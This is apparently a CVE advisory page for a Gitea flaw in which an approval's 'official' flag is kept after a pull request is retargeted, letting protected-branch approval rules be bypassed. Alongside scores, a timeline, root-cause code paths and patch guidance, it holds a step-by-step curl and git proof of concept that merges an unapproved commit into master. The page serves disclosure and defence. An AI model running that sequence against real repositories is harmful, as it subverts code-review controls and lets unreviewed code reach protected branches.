VulnerabilityPublished 21 Jul 2026

CVE-2026-58439: Gitea · Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag

Affects code.gitea.io/giteaSource GCVE Database

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Authoritative record:CVE-2026-58439· High 8.1

Not known to be exploited · CVSS 8.1 High : upgrade to 1.27.0 soon.

Data as of 29 Oct 2026, 19:04 UTC

CVSS 3.1 base score

8.1High

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.5% chance of exploitation in 30 days – higher than 44% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 1.27.0

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Attack Vector: Network
Attack Complexity: Low
Privileges Required: Low
User Interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: High
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: Low: The attacker is authorized with (i.e., requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: None: There is no loss of confidentiality within the impacted component.
Integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

t = 0 is the CVE’s publication on cve.org

Disclosed: evidence found.
CVE published 13 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: evidence found.
CISA SSVC: proof of concept public
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

CVE ID reserved
by Gitea Limited
30 Jun 202618:57 UTC, 44 days before disclosure
CVE published
on cve.org
13 Aug 202616:44 UTC, t = 0
CISA SSVC assessment
proof of concept public
14 Aug 202620:00 UTC, 27 hours after disclosure

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), CISA SSVC, the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade code.gitea.io/gitea to 1.27.0.

Affected software

Product	Affected	Fixed in
Gocode.gitea.io/gitea	Affected <1.27.0	Fixed in 1.27.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

## Summary Gitea does not re-evaluate the `official` flag on existing pull request reviews when a PR's target branch is changed. An attacker with write access to a repository can obtain an `official: true` approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., `master`). The approval, which would have been `official: false` if submitted against the protected branch, is preserved and satisfies the protected branch's required approvals, allowing the attacker to merge without legitimate maintainer approval. - Confirmed on Gitea **1.25.4** (`1.25.4+41-g96515c0f20`) ## Vulnerability Details ### Root Cause When a review is submitted on a pull request, Gitea computes the `official` flag by checking whether the reviewer is in the **target branch's** approval whitelist (`IsUserOfficialReviewer` in `models/git/protected_branch.go`). This flag is stored in the database as a boolean on the review record. When a PR's target branch is subsequently changed via `ChangeTargetBranch` (`services/pull/pull.go:218`), the function: - Updates `pr.BaseBranch` - Recalculates merge feasibility and divergence - Deletes old push comments - Creates a "change target branch" comment But it does **not**: - Re-evaluate `official` on existing reviews - Dismiss existing approvals - Check whether reviewers are in the new target branch's approval whitelist At merge time, `GetGrantedApprovalsCount` (`models/issues/pull.go:766`) counts reviews where `official = true AND dismissed = false AND type = Approve`. It reads the stored boolean — it does not re-check the whitelist. The stale `official: true` from the unprotected branch satisfies the protected branch's approval requirement. ### Relevant Code Paths 1. **Review creation** — `services/pull/review.go:SubmitReview` calls `IsOfficialReviewer` against the current `pr.BaseBranch`'s protection rules, stores `official=true/false` 2. **Target branch change** — `services/pull/pull.go:ChangeTargetBranch` modifies `pr.BaseBranch` but does not touch existing reviews 3. **Merge check** — `services/pull/check.go:CheckPullMergeable` → `models/issues/pull.go:GetGrantedApprovalsCount` counts stored `official=true` reviews without re-evaluating against the new branch's whitelist ### Prerequisites The attacker needs: - **Write (push) access** to the repository (collaborator with write role, or the ability to create branches — not admin) - The ability to create pull requests (standard for any user with push access) - A second account (or any non-admin account) to submit the approval on the unprotected branch The attacker does **not** need: - Admin access - To be in the approval whitelist for the protected branch - Any interaction from the branch protection's designated approvers ## Proof of Concept ### Setup Repository `owner/repo` with branch `master` protected: - Required approvals: 1 - Approval whitelist enabled, containing only user `admin-reviewer` - User `attacker` has write access but is **not** in the approval whitelist ### Steps ```bash BASE="http://gitea-instance:3000" OWNER="owner" REPO="repo" ATTACKER_AUTH="attacker:password" ACCOMPLICE_AUTH="accomplice:password" # any non-whitelisted user # 1. Create an unprotected temporary branch from master curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/branches" \ -u "$ATTACKER_AUTH" \ -H "Content-Type: application/json" \ -d '{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}' # 2. Push a malicious commit to a feature branch git checkout -b malicious-branch origin/master echo "malicious payload" > payload.txt git add payload.txt git commit -m "innocent looking commit" git push origin malicious-branch # 3. Create PR targeting the UNPROTECTED branch curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \ -u "$ATTACKER_AUTH" \ -H "Content-Type: application/json" \ -d '{ "head": "malicious-branch", "base": "tmp-unprotected", "title": "Add feature" }' # Returns PR #N # 4. Approve the PR (official=true because tmp-unprotected has no protection) curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \ -u "$ACCOMPLICE_AUTH" \ -H "Content-Type: application/json" \ -d '{"event": "APPROVED", "body": "LGTM"}' # Response includes: "official": true # 5. Retarget the PR to protected master curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \ -u "$ATTACKER_AUTH" \ -H "Content-Type: application/json" \ -d '{"base": "master"}' # 6. Verify: approval is still official=true against master curl "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \ -u "$ATTACKER_AUTH" # Response: "official": true, "dismissed": false, "stale": false # 7. Merge — succeeds despite no whitelisted approver reviewing curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \ -u "$ATTACKER_AUTH" \ -H "Content-Type: application/json" \ -d '{"do": "merge"}' # Returns 200 OK — malicious commit is now on master ``` ### Observed API Responses **Step 4** — Approval

CWE-863Incorrect Authorization (opens in a new tab)
Class weaknessLikelihood of exploit: HighCWE Top 25 (2025): #17OWASP Top 10 A01:2025: Broken Access Control (opens in a new tab)
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
Architecture and Design
Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.
Architecture and Design
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records.
Architecture and Design · Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
OWASP Cheat Sheets
Authorization (opens in a new tab)
OWASP ASVS 4.0.3
V8.3.8 (opens in a new tab)
V13.4.2 (opens in a new tab)
V7.2.2 (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

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Affected software

Description

WeaknessesCWE-863

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